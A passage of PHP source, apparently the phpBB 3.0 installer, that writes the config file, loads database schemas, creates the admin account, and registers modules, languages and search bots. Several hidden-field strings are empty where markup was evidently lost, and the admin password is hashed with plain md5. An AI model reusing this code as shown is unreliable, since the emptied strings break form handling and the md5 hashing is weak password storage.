'S_LEGEND' => false, )); } else { $template->assign_block_vars('checks', array( 'TITLE' => $lang['ADMIN_TEST'], 'RESULT' => '' . implode('
', $error) . '
', 'S_EXPLAIN' => false, 'S_LEGEND' => false, )); } } if (!$passed) { foreach ($this->admin_config_options as $config_key => $vars) { if (!is_array($vars) && strpos($config_key, 'legend') === false) { continue; } if (strpos($config_key, 'legend') !== false) { $template->assign_block_vars('options', array( 'S_LEGEND' => true, 'LEGEND' => $lang[$vars]) ); continue; } $options = isset($vars['options']) ? $vars['options'] : ''; $template->assign_block_vars('options', array( 'KEY' => $config_key, 'TITLE' => $lang[$vars['lang']], 'S_EXPLAIN' => $vars['explain'], 'S_LEGEND' => false, 'TITLE_EXPLAIN' => ($vars['explain']) ? $lang[$vars['lang'] . '_EXPLAIN'] : '', 'CONTENT' => $this->p_master->input_field($config_key, $vars['type'], $data[$config_key], $options), ) ); } } else { foreach ($this->admin_config_options as $config_key => $vars) { if (!is_array($vars)) { continue; } $s_hidden_fields .= ''; } } $s_hidden_fields .= ($data['img_imagick']) ? '' : ''; $s_hidden_fields .= ''; foreach ($this->db_config_options as $config_key => $vars) { if (!is_array($vars)) { continue; } $s_hidden_fields .= ''; } $submit = $lang['NEXT_STEP']; $url = ($passed) ? $this->p_master->module_url . "?mode=$mode&sub=config_file" : $this->p_master->module_url . "?mode=$mode&sub=administrator"; $s_hidden_fields .= ($passed) ? '' : ''; $template->assign_vars(array( 'L_SUBMIT' => $submit, 'S_HIDDEN' => $s_hidden_fields, 'U_ACTION' => $url, )); } /** * Writes the config file to disk, or if unable to do so offers alternative methods */ function create_config_file($mode, $sub) { global $lang, $template, $phpbb_root_path, $phpEx; $this->page_title = $lang['STAGE_CONFIG_FILE']; // Obtain any submitted data $data = $this->get_submitted_data(); if ($data['dbms'] == '') { // Someone's been silly and tried calling this page direct // So we send them back to the start to do it again properly $this->p_master->redirect("index.$phpEx?mode=install"); } $s_hidden_fields = ($data['img_imagick']) ? '' : ''; $s_hidden_fields .= ''; $written = false; // Create a list of any PHP modules we wish to have loaded $load_extensions = array(); $available_dbms = get_available_dbms($data['dbms']); $check_exts = array_merge(array($available_dbms[$data['dbms']]['MODULE']), $this->php_dlls_other); foreach ($check_exts as $dll) { if (!@extension_loaded($dll)) { if (!can_load_dll($dll)) { continue; } $load_extensions[] = $dll . '.' . PHP_SHLIB_SUFFIX; } } // Create a lock file to indicate that there is an install in progress $fp = @fopen($phpbb_root_path . 'cache/install_lock', 'wb'); if ($fp === false) { // We were unable to create the lock file - abort $this->p_master->error($lang['UNABLE_WRITE_LOCK'], __LINE__, __FILE__); } @fclose($fp); @chmod($phpbb_root_path . 'cache/install_lock', 0777); // Time to convert the data provided into a config file $config_data = phpbb_create_config_file_data($data, $available_dbms[$data['dbms']]['DRIVER'], $load_extensions); // Attempt to write out the config file directly. If it works, this is the easiest way to do it ... if ((file_exists($phpbb_root_path . 'config.' . $phpEx) && phpbb_is_writable($phpbb_root_path . 'config.' . $phpEx)) || phpbb_is_writable($phpbb_root_path)) { // Assume it will work ... if nothing goes wrong below $written = true; if (!($fp = @fopen($phpbb_root_path . 'config.' . $phpEx, 'w'))) { // Something went wrong ... so let's try another method $written = false; } if (!(@fwrite($fp, $config_data))) { // Something went wrong ... so let's try another method $written = false; } @fclose($fp); if ($written) { // We may revert back to chmod() if we see problems with users not able to change their config.php file directly phpbb_chmod($phpbb_root_path . 'config.' . $phpEx, CHMOD_READ); } } if (isset($_POST['dldone'])) { // Do a basic check to make sure that the file has been uploaded // Note that all we check is that the file has _something_ in it // We don't compare the contents exactly - if they can't upload // a single file correctly, it's likely they will have other problems.... if (filesize($phpbb_root_path . 'config.' . $phpEx) > 10) { $written = true; } } $config_options = array_merge($this->db_config_options, $this->admin_config_options); foreach ($config_options as $config_key => $vars) { if (!is_array($vars)) { continue; } $s_hidden_fields .= ''; } if (!$written) { // OK, so it didn't work let's try the alternatives if (isset($_POST['dlconfig'])) { // They want a copy of the file to download, so send the relevant headers and dump out the data header("Content-Type: text/x-delimtext; name=\"config.$phpEx\""); header("Content-disposition: attachment; filename=config.$phpEx"); echo $config_data; exit; } // The option to download the config file is always available, so output it here $template->assign_vars(array( 'BODY' => $lang['CONFIG_FILE_UNABLE_WRITE'], 'L_DL_CONFIG' => $lang['DL_CONFIG'], 'L_DL_CONFIG_EXPLAIN' => $lang['DL_CONFIG_EXPLAIN'], 'L_DL_DONE' => $lang['DONE'], 'L_DL_DOWNLOAD' => $lang['DL_DOWNLOAD'], 'S_HIDDEN' => $s_hidden_fields, 'S_SHOW_DOWNLOAD' => true, 'U_ACTION' => $this->p_master->module_url . "?mode=$mode&sub=config_file", )); return; } else { $template->assign_vars(array( 'BODY' => $lang['CONFIG_FILE_WRITTEN'], 'L_SUBMIT' => $lang['NEXT_STEP'], 'S_HIDDEN' => $s_hidden_fields, 'U_ACTION' => $this->p_master->module_url . "?mode=$mode&sub=advanced", )); return; } } /** * Provide an opportunity to customise some advanced settings during the install * in case it is necessary for them to be set to access later */ function obtain_advanced_settings($mode, $sub) { global $lang, $template, $phpEx; $this->page_title = $lang['STAGE_ADVANCED']; // Obtain any submitted data $data = $this->get_submitted_data(); if ($data['dbms'] == '') { // Someone's been silly and tried calling this page direct // So we send them back to the start to do it again properly $this->p_master->redirect("index.$phpEx?mode=install"); } $s_hidden_fields = ($data['img_imagick']) ? '' : ''; $s_hidden_fields .= ''; // HTTP_HOST is having the correct browser url in most cases... $server_name = (!empty($_SERVER['HTTP_HOST'])) ? strtolower($_SERVER['HTTP_HOST']) : ((!empty($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : getenv('SERVER_NAME')); // HTTP HOST can carry a port number... if (strpos($server_name, ':') !== false) { $server_name = substr($server_name, 0, strpos($server_name, ':')); } $data['email_enable'] = ($data['email_enable'] !== '') ? $data['email_enable'] : true; $data['server_name'] = ($data['server_name'] !== '') ? $data['server_name'] : $server_name; $data['server_port'] = ($data['server_port'] !== '') ? $data['server_port'] : ((!empty($_SERVER['SERVER_PORT'])) ? (int) $_SERVER['SERVER_PORT'] : (int) getenv('SERVER_PORT')); $data['server_protocol'] = ($data['server_protocol'] !== '') ? $data['server_protocol'] : ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? 'https://' : 'http://'); $data['cookie_secure'] = ($data['cookie_secure'] !== '') ? $data['cookie_secure'] : ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? true : false); if ($data['script_path'] === '') { $name = (!empty($_SERVER['PHP_SELF'])) ? $_SERVER['PHP_SELF'] : getenv('PHP_SELF'); if (!$name) { $name = (!empty($_SERVER['REQUEST_URI'])) ? $_SERVER['REQUEST_URI'] : getenv('REQUEST_URI'); } // Replace backslashes and doubled slashes (could happen on some proxy setups) $name = str_replace(array('\\', '//'), '/', $name); $data['script_path'] = trim(dirname(dirname($name))); } foreach ($this->advanced_config_options as $config_key => $vars) { if (!is_array($vars) && strpos($config_key, 'legend') === false) { continue; } if (strpos($config_key, 'legend') !== false) { $template->assign_block_vars('options', array( 'S_LEGEND' => true, 'LEGEND' => $lang[$vars]) ); continue; } $options = isset($vars['options']) ? $vars['options'] : ''; $template->assign_block_vars('options', array( 'KEY' => $config_key, 'TITLE' => $lang[$vars['lang']], 'S_EXPLAIN' => $vars['explain'], 'S_LEGEND' => false, 'TITLE_EXPLAIN' => ($vars['explain']) ? $lang[$vars['lang'] . '_EXPLAIN'] : '', 'CONTENT' => $this->p_master->input_field($config_key, $vars['type'], $data[$config_key], $options), ) ); } $config_options = array_merge($this->db_config_options, $this->admin_config_options); foreach ($config_options as $config_key => $vars) { if (!is_array($vars)) { continue; } $s_hidden_fields .= ''; } $submit = $lang['NEXT_STEP']; $url = $this->p_master->module_url . "?mode=$mode&sub=create_table"; $template->assign_vars(array( 'BODY' => $lang['STAGE_ADVANCED_EXPLAIN'], 'L_SUBMIT' => $submit, 'S_HIDDEN' => $s_hidden_fields, 'U_ACTION' => $url, )); } /** * Load the contents of the schema into the database and then alter it based on what has been input during the installation */ function load_schema($mode, $sub) { global $db, $lang, $template, $phpbb_root_path, $phpEx; $this->page_title = $lang['STAGE_CREATE_TABLE']; $s_hidden_fields = ''; // Obtain any submitted data $data = $this->get_submitted_data(); if ($data['dbms'] == '') { // Someone's been silly and tried calling this page direct // So we send them back to the start to do it again properly $this->p_master->redirect("index.$phpEx?mode=install"); } // HTTP_HOST is having the correct browser url in most cases... $server_name = (!empty($_SERVER['HTTP_HOST'])) ? strtolower($_SERVER['HTTP_HOST']) : ((!empty($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : getenv('SERVER_NAME')); $referer = (!empty($_SERVER['HTTP_REFERER'])) ? strtolower($_SERVER['HTTP_REFERER']) : getenv('HTTP_REFERER'); // HTTP HOST can carry a port number... if (strpos($server_name, ':') !== false) { $server_name = substr($server_name, 0, strpos($server_name, ':')); } $cookie_domain = ($data['server_name'] != '') ? $data['server_name'] : $server_name; // Try to come up with the best solution for cookie domain... if (strpos($cookie_domain, 'www.') === 0) { $cookie_domain = str_replace('www.', '.', $cookie_domain); } // If we get here and the extension isn't loaded it should be safe to just go ahead and load it $available_dbms = get_available_dbms($data['dbms']); if (!isset($available_dbms[$data['dbms']])) { // Someone's been silly and tried providing a non-existant dbms $this->p_master->redirect("index.$phpEx?mode=install"); } $dbms = $available_dbms[$data['dbms']]['DRIVER']; // Load the appropriate database class if not already loaded include($phpbb_root_path . 'includes/db/' . $dbms . '.' . $phpEx); // Instantiate the database $db = new $sql_db(); $db->sql_connect($data['dbhost'], $data['dbuser'], htmlspecialchars_decode($data['dbpasswd']), $data['dbname'], $data['dbport'], false, false); // NOTE: trigger_error does not work here. $db->sql_return_on_error(true); // If mysql is chosen, we need to adjust the schema filename slightly to reflect the correct version. ;) if ($data['dbms'] == 'mysql') { if (version_compare($db->sql_server_info(true), '4.1.3', '>=')) { $available_dbms[$data['dbms']]['SCHEMA'] .= '_41'; } else { $available_dbms[$data['dbms']]['SCHEMA'] .= '_40'; } } // Ok we have the db info go ahead and read in the relevant schema // and work on building the table $dbms_schema = 'schemas/' . $available_dbms[$data['dbms']]['SCHEMA'] . '_schema.sql'; // How should we treat this schema? $delimiter = $available_dbms[$data['dbms']]['DELIM']; $sql_query = @file_get_contents($dbms_schema); $sql_query = preg_replace('#phpbb_#i', $data['table_prefix'], $sql_query); $sql_query = phpbb_remove_comments($sql_query); $sql_query = split_sql_file($sql_query, $delimiter); foreach ($sql_query as $sql) { //$sql = trim(str_replace('|', ';', $sql)); if (!$db->sql_query($sql)) { $error = $db->sql_error(); $this->p_master->db_error($error['message'], $sql, __LINE__, __FILE__); } } unset($sql_query); // Ok tables have been built, let's fill in the basic information $sql_query = file_get_contents('schemas/schema_data.sql'); // Deal with any special comments switch ($data['dbms']) { case 'mssql': case 'mssql_odbc': case 'mssqlnative': $sql_query = preg_replace('#\# MSSQL IDENTITY (phpbb_[a-z_]+) (ON|OFF) \##s', 'SET IDENTITY_INSERT \1 \2;', $sql_query); break; case 'postgres': $sql_query = preg_replace('#\# POSTGRES (BEGIN|COMMIT) \##s', '\1; ', $sql_query); break; } // Change prefix $sql_query = preg_replace('# phpbb_([^\s]*) #i', ' ' . $data['table_prefix'] . '\1 ', $sql_query); // Change language strings... $sql_query = preg_replace_callback('#\{L_([A-Z0-9\-_]*)\}#s', 'adjust_language_keys_callback', $sql_query); $sql_query = phpbb_remove_comments($sql_query); $sql_query = split_sql_file($sql_query, ';'); foreach ($sql_query as $sql) { //$sql = trim(str_replace('|', ';', $sql)); if (!$db->sql_query($sql)) { $error = $db->sql_error(); $this->p_master->db_error($error['message'], $sql, __LINE__, __FILE__); } } unset($sql_query); $current_time = time(); $user_ip = (!empty($_SERVER['REMOTE_ADDR'])) ? htmlspecialchars($_SERVER['REMOTE_ADDR']) : ''; $user_ip = (stripos($user_ip, '::ffff:') === 0) ? substr($user_ip, 7) : $user_ip; if ($data['script_path'] !== '/') { // Adjust destination path (no trailing slash) if (substr($data['script_path'], -1) == '/') { $data['script_path'] = substr($data['script_path'], 0, -1); } $data['script_path'] = str_replace(array('../', './'), '', $data['script_path']); if ($data['script_path'][0] != '/') { $data['script_path'] = '/' . $data['script_path']; } } // Set default config and post data, this applies to all DB's $sql_ary = array( 'INSERT INTO ' . $data['table_prefix'] . "config (config_name, config_value) VALUES ('board_startdate', '$current_time')", 'INSERT INTO ' . $data['table_prefix'] . "config (config_name, config_value) VALUES ('default_lang', '" . $db->sql_escape($data['default_lang']) . "')", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['img_imagick']) . "' WHERE config_name = 'img_imagick'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['server_name']) . "' WHERE config_name = 'server_name'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['server_port']) . "' WHERE config_name = 'server_port'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['board_email1']) . "' WHERE config_name = 'board_email'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['board_email1']) . "' WHERE config_name = 'board_contact'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($cookie_domain) . "' WHERE config_name = 'cookie_domain'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($lang['default_dateformat']) . "' WHERE config_name = 'default_dateformat'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['email_enable']) . "' WHERE config_name = 'email_enable'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['smtp_delivery']) . "' WHERE config_name = 'smtp_delivery'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['smtp_host']) . "' WHERE config_name = 'smtp_host'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['smtp_auth']) . "' WHERE config_name = 'smtp_auth_method'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['smtp_user']) . "' WHERE config_name = 'smtp_username'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['smtp_pass']) . "' WHERE config_name = 'smtp_password'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['cookie_secure']) . "' WHERE config_name = 'cookie_secure'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['force_server_vars']) . "' WHERE config_name = 'force_server_vars'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['script_path']) . "' WHERE config_name = 'script_path'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['server_protocol']) . "' WHERE config_name = 'server_protocol'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($data['admin_name']) . "' WHERE config_name = 'newest_username'", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . md5(mt_rand()) . "' WHERE config_name = 'avatar_salt'", 'UPDATE ' . $data['table_prefix'] . "users SET username = '" . $db->sql_escape($data['admin_name']) . "', user_password='" . $db->sql_escape(md5($data['admin_pass1'])) . "', user_ip = '" . $db->sql_escape($user_ip) . "', user_lang = '" . $db->sql_escape($data['default_lang']) . "', user_email='" . $db->sql_escape($data['board_email1']) . "', user_dateformat='" . $db->sql_escape($lang['default_dateformat']) . "', user_email_hash = " . $db->sql_escape(phpbb_email_hash($data['board_email1'])) . ", username_clean = '" . $db->sql_escape(utf8_clean_string($data['admin_name'])) . "' WHERE username = 'Admin'", 'UPDATE ' . $data['table_prefix'] . "moderator_cache SET username = '" . $db->sql_escape($data['admin_name']) . "' WHERE username = 'Admin'", 'UPDATE ' . $data['table_prefix'] . "forums SET forum_last_poster_name = '" . $db->sql_escape($data['admin_name']) . "' WHERE forum_last_poster_name = 'Admin'", 'UPDATE ' . $data['table_prefix'] . "topics SET topic_first_poster_name = '" . $db->sql_escape($data['admin_name']) . "', topic_last_poster_name = '" . $db->sql_escape($data['admin_name']) . "' WHERE topic_first_poster_name = 'Admin' OR topic_last_poster_name = 'Admin'", 'UPDATE ' . $data['table_prefix'] . "users SET user_regdate = $current_time", 'UPDATE ' . $data['table_prefix'] . "posts SET post_time = $current_time, poster_ip = '" . $db->sql_escape($user_ip) . "'", 'UPDATE ' . $data['table_prefix'] . "topics SET topic_time = $current_time, topic_last_post_time = $current_time", 'UPDATE ' . $data['table_prefix'] . "forums SET forum_last_post_time = $current_time", 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($db->sql_server_info(true)) . "' WHERE config_name = 'dbms_version'", ); if (@extension_loaded('gd') || can_load_dll('gd')) { $sql_ary[] = 'UPDATE ' . $data['table_prefix'] . "config SET config_value = 'phpbb_captcha_gd' WHERE config_name = 'captcha_plugin'"; $sql_ary[] = 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '1' WHERE config_name = 'captcha_gd'"; } $ref = substr($referer, strpos($referer, '://') + 3); if (!(stripos($ref, $server_name) === 0)) { $sql_ary[] = 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '0' WHERE config_name = 'referer_validation'"; } // We set a (semi-)unique cookie name to bypass login issues related to the cookie name. $cookie_name = 'phpbb3_'; $rand_str = md5(mt_rand()); $rand_str = str_replace('0', 'z', base_convert($rand_str, 16, 35)); $rand_str = substr($rand_str, 0, 5); $cookie_name .= strtolower($rand_str); $sql_ary[] = 'UPDATE ' . $data['table_prefix'] . "config SET config_value = '" . $db->sql_escape($cookie_name) . "' WHERE config_name = 'cookie_name'"; foreach ($sql_ary as $sql) { //$sql = trim(str_replace('|', ';', $sql)); if (!$db->sql_query($sql)) { $error = $db->sql_error(); $this->p_master->db_error($error['message'], $sql, __LINE__, __FILE__); } } $submit = $lang['NEXT_STEP']; $url = $this->p_master->module_url . "?mode=$mode&sub=final"; $template->assign_vars(array( 'BODY' => $lang['STAGE_CREATE_TABLE_EXPLAIN'], 'L_SUBMIT' => $submit, 'S_HIDDEN' => build_hidden_fields($data), 'U_ACTION' => $url, )); } /** * Build the search index... */ function build_search_index($mode, $sub) { global $db, $lang, $phpbb_root_path, $phpEx, $config; // Obtain any submitted data $data = $this->get_submitted_data(); $table_prefix = $data['table_prefix']; // If we get here and the extension isn't loaded it should be safe to just go ahead and load it $available_dbms = get_available_dbms($data['dbms']); if (!isset($available_dbms[$data['dbms']])) { // Someone's been silly and tried providing a non-existant dbms $this->p_master->redirect("index.$phpEx?mode=install"); } $dbms = $available_dbms[$data['dbms']]['DRIVER']; // Load the appropriate database class if not already loaded include($phpbb_root_path . 'includes/db/' . $dbms . '.' . $phpEx); // Instantiate the database $db = new $sql_db(); $db->sql_connect($data['dbhost'], $data['dbuser'], htmlspecialchars_decode($data['dbpasswd']), $data['dbname'], $data['dbport'], false, false); // NOTE: trigger_error does not work here. $db->sql_return_on_error(true); include_once($phpbb_root_path . 'includes/constants.' . $phpEx); include_once($phpbb_root_path . 'includes/search/fulltext_native.' . $phpEx); // Fill the config array - it is needed by those functions we call $sql = 'SELECT * FROM ' . CONFIG_TABLE; $result = $db->sql_query($sql); $config = array(); while ($row = $db->sql_fetchrow($result)) { $config[$row['config_name']] = $row['config_value']; } $db->sql_freeresult($result); $error = false; $search = new fulltext_native($error); $sql = 'SELECT post_id, post_subject, post_text, poster_id, forum_id FROM ' . POSTS_TABLE; $result = $db->sql_query($sql); while ($row = $db->sql_fetchrow($result)) { $search->index('post', $row['post_id'], $row['post_text'], $row['post_subject'], $row['poster_id'], $row['forum_id']); } $db->sql_freeresult($result); } /** * Populate the module tables */ function add_modules($mode, $sub) { global $db, $lang, $phpbb_root_path, $phpEx; include_once($phpbb_root_path . 'includes/acp/acp_modules.' . $phpEx); $_module = new acp_modules(); $module_classes = array('acp', 'mcp', 'ucp'); // Add categories foreach ($module_classes as $module_class) { $categories = array(); // Set the module class $_module->module_class = $module_class; foreach ($this->module_categories[$module_class] as $cat_name => $subs) { $module_data = array( 'module_basename' => '', 'module_enabled' => 1, 'module_display' => 1, 'parent_id' => 0, 'module_class' => $module_class, 'module_langname' => $cat_name, 'module_mode' => '', 'module_auth' => '', ); // Add category $_module->update_module_data($module_data, true); // Check for last sql error happened if ($db->sql_error_triggered) { $error = $db->sql_error($db->sql_error_sql); $this->p_master->db_error($error['message'], $db->sql_error_sql, __LINE__, __FILE__); } $categories[$cat_name]['id'] = (int) $module_data['module_id']; $categories[$cat_name]['parent_id'] = 0; // Create sub-categories... if (is_array($subs)) { foreach ($subs as $level2_name) { $module_data = array( 'module_basename' => '', 'module_enabled' => 1, 'module_display' => 1, 'parent_id' => (int) $categories[$cat_name]['id'], 'module_class' => $module_class, 'module_langname' => $level2_name, 'module_mode' => '', 'module_auth' => '', ); $_module->update_module_data($module_data, true); // Check for last sql error happened if ($db->sql_error_triggered) { $error = $db->sql_error($db->sql_error_sql); $this->p_master->db_error($error['message'], $db->sql_error_sql, __LINE__, __FILE__); } $categories[$level2_name]['id'] = (int) $module_data['module_id']; $categories[$level2_name]['parent_id'] = (int) $categories[$cat_name]['id']; } } } // Get the modules we want to add... returned sorted by name $module_info = $_module->get_module_infos('', $module_class); foreach ($module_info as $module_basename => $fileinfo) { foreach ($fileinfo['modes'] as $module_mode => $row) { foreach ($row['cat'] as $cat_name) { if (!isset($categories[$cat_name])) { continue; } $module_data = array( 'module_basename' => $module_basename, 'module_enabled' => 1, 'module_display' => (isset($row['display'])) ? (int) $row['display'] : 1, 'parent_id' => (int) $categories[$cat_name]['id'], 'module_class' => $module_class, 'module_langname' => $row['title'], 'module_mode' => $module_mode, 'module_auth' => $row['auth'], ); $_module->update_module_data($module_data, true); // Check for last sql error happened if ($db->sql_error_triggered) { $error = $db->sql_error($db->sql_error_sql); $this->p_master->db_error($error['message'], $db->sql_error_sql, __LINE__, __FILE__); } } } } // Move some of the modules around since the code above will put them in the wrong place if ($module_class == 'acp') { // Move main module 4 up... $sql = 'SELECT * FROM ' . MODULES_TABLE . " WHERE module_basename = 'main' AND module_class = 'acp' AND module_mode = 'main'"; $result = $db->sql_query($sql); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); $_module->move_module_by($row, 'move_up', 4); // Move permissions intro screen module 4 up... $sql = 'SELECT * FROM ' . MODULES_TABLE . " WHERE module_basename = 'permissions' AND module_class = 'acp' AND module_mode = 'intro'"; $result = $db->sql_query($sql); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); $_module->move_module_by($row, 'move_up', 4); // Move manage users screen module 5 up... $sql = 'SELECT * FROM ' . MODULES_TABLE . " WHERE module_basename = 'users' AND module_class = 'acp' AND module_mode = 'overview'"; $result = $db->sql_query($sql); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); $_module->move_module_by($row, 'move_up', 5); } if ($module_class == 'ucp') { // Move attachment module 4 down... $sql = 'SELECT * FROM ' . MODULES_TABLE . " WHERE module_basename = 'attachments' AND module_class = 'ucp' AND module_mode = 'attachments'"; $result = $db->sql_query($sql); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); $_module->move_module_by($row, 'move_down', 4); } // And now for the special ones // (these are modules which appear in multiple categories and thus get added manually to some for more control) if (isset($this->module_extras[$module_class])) { foreach ($this->module_extras[$module_class] as $cat_name => $mods) { $sql = 'SELECT module_id, left_id, right_id FROM ' . MODULES_TABLE . " WHERE module_langname = '" . $db->sql_escape($cat_name) . "' AND module_class = '" . $db->sql_escape($module_class) . "'"; $result = $db->sql_query_limit($sql, 1); $row2 = $db->sql_fetchrow($result); $db->sql_freeresult($result); foreach ($mods as $mod_name) { $sql = 'SELECT * FROM ' . MODULES_TABLE . " WHERE module_langname = '" . $db->sql_escape($mod_name) . "' AND module_class = '" . $db->sql_escape($module_class) . "' AND module_basename <> ''"; $result = $db->sql_query_limit($sql, 1); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); $module_data = array( 'module_basename' => $row['module_basename'], 'module_enabled' => (int) $row['module_enabled'], 'module_display' => (int) $row['module_display'], 'parent_id' => (int) $row2['module_id'], 'module_class' => $row['module_class'], 'module_langname' => $row['module_langname'], 'module_mode' => $row['module_mode'], 'module_auth' => $row['module_auth'], ); $_module->update_module_data($module_data, true); // Check for last sql error happened if ($db->sql_error_triggered) { $error = $db->sql_error($db->sql_error_sql); $this->p_master->db_error($error['message'], $db->sql_error_sql, __LINE__, __FILE__); } } } } $_module->remove_cache_file(); } } /** * Populate the language tables */ function add_language($mode, $sub) { global $db, $lang, $phpbb_root_path, $phpEx; $dir = @opendir($phpbb_root_path . 'language'); if (!$dir) { $this->error('Unable to access the language directory', __LINE__, __FILE__); } while (($file = readdir($dir)) !== false) { $path = $phpbb_root_path . 'language/' . $file; if ($file == '.' || $file == '..' || is_link($path) || is_file($path) || $file == 'CVS') { continue; } if (is_dir($path) && file_exists($path . '/iso.txt')) { $lang_file = file("$path/iso.txt"); $lang_pack = array( 'lang_iso' => basename($path), 'lang_dir' => basename($path), 'lang_english_name' => trim(htmlspecialchars($lang_file[0])), 'lang_local_name' => trim(htmlspecialchars($lang_file[1], ENT_COMPAT, 'UTF-8')), 'lang_author' => trim(htmlspecialchars($lang_file[2], ENT_COMPAT, 'UTF-8')), ); $db->sql_query('INSERT INTO ' . LANG_TABLE . ' ' . $db->sql_build_array('INSERT', $lang_pack)); if ($db->sql_error_triggered) { $error = $db->sql_error($db->sql_error_sql); $this->p_master->db_error($error['message'], $db->sql_error_sql, __LINE__, __FILE__); } $valid_localized = array( 'icon_back_top', 'icon_contact_aim', 'icon_contact_email', 'icon_contact_icq', 'icon_contact_jabber', 'icon_contact_msnm', 'icon_contact_pm', 'icon_contact_yahoo', 'icon_contact_www', 'icon_post_delete', 'icon_post_edit', 'icon_post_info', 'icon_post_quote', 'icon_post_report', 'icon_user_online', 'icon_user_offline', 'icon_user_profile', 'icon_user_search', 'icon_user_warn', 'button_pm_forward', 'button_pm_new', 'button_pm_reply', 'button_topic_locked', 'button_topic_new', 'button_topic_reply', ); $sql_ary = array(); $sql = 'SELECT * FROM ' . STYLES_IMAGESET_TABLE; $result = $db->sql_query($sql); while ($imageset_row = $db->sql_fetchrow($result)) { if (@file_exists("{$phpbb_root_path}styles/{$imageset_row['imageset_path']}/imageset/{$lang_pack['lang_iso']}/imageset.cfg")) { $cfg_data_imageset_data = parse_cfg_file("{$phpbb_root_path}styles/{$imageset_row['imageset_path']}/imageset/{$lang_pack['lang_iso']}/imageset.cfg"); foreach ($cfg_data_imageset_data as $image_name => $value) { if (strpos($value, '*') !== false) { if (substr($value, -1, 1) === '*') { list($image_filename, $image_height) = explode('*', $value); $image_width = 0; } else { list($image_filename, $image_height, $image_width) = explode('*', $value); } } else { $image_filename = $value; $image_height = $image_width = 0; } if (strpos($image_name, 'img_') === 0 && $image_filename) { $image_name = substr($image_name, 4); if (in_array($image_name, $valid_localized)) { $sql_ary[] = array( 'image_name' => (string) $image_name, 'image_filename' => (string) $image_filename, 'image_height' => (int) $image_height, 'image_width' => (int) $image_width, 'imageset_id' => (int) $imageset_row['imageset_id'], 'image_lang' => (string) $lang_pack['lang_iso'], ); } } } } } $db->sql_freeresult($result); if (sizeof($sql_ary)) { $db->sql_multi_insert(STYLES_IMAGESET_DATA_TABLE, $sql_ary); if ($db->sql_error_triggered) { $error = $db->sql_error($db->sql_error_sql); $this->p_master->db_error($error['message'], $db->sql_error_sql, __LINE__, __FILE__); } } } } closedir($dir); } /** * Add search robots to the database */ function add_bots($mode, $sub) { global $db, $lang, $phpbb_root_path, $phpEx, $config; // Obtain any submitted data $data = $this->get_submitted_data(); // Fill the config array - it is needed by those functions we call $sql = 'SELECT * FROM ' . CONFIG_TABLE; $result = $db->sql_query($sql); $config = array(); while ($row = $db->sql_fetchrow($result)) { $config[$row['config_name']] = $row['config_value']; } $db->sql_freeresult($result); $sql = 'SELECT group_id FROM ' . GROUPS_TABLE . " WHERE group_name = 'BOTS'"; $result = $db->sql_query($sql); $group_id = (int) $db->sql_fetchfield('group_id'); $db->sql_freeresult($result); if (!$group_id) { // If we reach this point then something has gone very wrong $this->p_master->error($lang['NO_GROUP'], __LINE__, __FILE__); } if (!function_exists('user_add')) { include($phpbb_root_path . 'includes/functions_user.' . $phpEx); } foreach ($this->bot_list as $bot_name => $bot_ary) { $user_row = array( 'user_type' => USER_IGNORE, 'group_id' => $group_id, 'username' => $bot_name, 'user_regdate' => time(), 'user_password' => '', 'user_colour' => '9E8DA7', 'user_email' => '', 'user_lang' => $data['default_lang'], 'user_style' => 1, 'user_timezone' => 0, 'user_dateformat' => $lang['default_dateformat'], 'user_allow_massemail' => 0, 'user_allow_pm' => 0, ); $user_id = user_add($user_row); if (!$user_id) { // If we can't insert this user then continue to the next one to avoid inconsistent data $this->p_master->db_error('Unable to insert bot into users table', $db->sql_error_sql, __LINE__, __FILE__, true); continue; } $sql = 'INSERT INTO ' . BOTS_TABLE . ' ' . $db->sql_build_array('INSERT', array( 'bot_active' => 1, 'bot_name' => (string) $bot_name, 'user_id' => (int) $user_id, 'bot_agent' => (string) $bot_ary[0], 'bot_ip' => (string) $bot_ary[1], )); $result = $db->sql_query($sql); } } /** * Sends an email to the board administrator with their password and some useful links */ function email_admin($mode, $sub) { global $auth, $config, $db, $lang, $template, $user, $phpbb_root_path, $phpEx; $this->page_title = $lang['STAGE_FINAL']; // Obtain any submitted data $data = $this->get_submitted_data(); $sql = 'SELECT * FROM ' . CONFIG_TABLE; $result = $db->sql_query($sql); $config = array(); while ($row = $db->sql_fetchrow($result)) { 